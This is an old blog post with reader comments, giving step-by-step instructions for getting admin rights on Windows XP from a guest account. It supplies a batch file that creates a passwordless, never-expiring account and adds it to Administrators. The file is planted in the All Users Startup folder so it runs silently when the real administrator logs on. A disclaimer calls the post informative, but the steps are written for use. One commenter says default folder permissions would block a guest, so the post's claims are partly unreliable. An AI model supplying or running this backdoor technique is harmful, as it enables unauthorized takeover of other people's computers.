How to create an Admin account from a guest account in Windows XP

This item was filled under [ Security, Tips & Tricks, Windows ]

First, let me make it clear that this post is only meant to be informative. Please do not misuse it. On the other hand, if you are an administrator, then this post could be useful to you in being wary of how your system could be compromised with a very simple trick.

Now here is how you do it.

Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)

@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Step 3: There is no step 3.

The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.

Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.

Share and Enjoy
  • Print this article!
  • Digg
  • del.icio.us
  • Facebook
  • Google
  • Furl
  • LinkedIn
  • Ma.gnolia
  • Netvouz
  • Reddit
  • StumbleUpon
  • MySpace
  • Technorati
  • TwitThis

If you're new here, you may want to subscribe to my RSS feed or get updates through email. Thanks for visiting!

You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

6 Comments on “How to create an Admin account from a guest account in Windows XP”

  • 10 June, 2008, 8:41

    Quite a scary trick and rightly said that administrators will surely benefit by being aware of this trick

  • 10 June, 2008, 14:12

    nice post.But the main thing is that you still need admin for creating a admin account.

    “First, let me make it clear that this post is only meant to be informative. Please do not misuse it. On the other hand, if you are an administrator, then this post could be useful to you in being wary of how your system could be compromised with a very simple trick.”

    Well a usual guest can either use it in two ways.either he shows this trick to others for showing his technical skills or he can misuse it.I do not think any usefull use of this trick rather than misusing it for guest only.

    and for admin this can be a alarm.

    overall nice post.

  • Doug Shaffer
    10 June, 2008, 17:05

    Almost, but the C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder security should never be opened to Guest. Unless FAT or the permissions have been modified, the default NTFS security denies wrie acces to the folder. Power Users is another story, however, since those users have write access.

  • 13 June, 2008, 15:36

    Good tip ! I like this post.
    Thanks.

  • 19 October, 2008, 18:30

    Roda thanks you! I’d somehow lost all administrator rights and this is the only way to get it back. I tried everything else. Thank you so much for posting this …

  • Kelly
    6 November, 2008, 22:58

    Due to a System32 error, I was essentially stuck with only a working guest account, and this helped a lot. The only problem was that it created a limited access account, and I cannot change this because I can’t access user accounts in admin. Cool trick, though.

Leave a Comment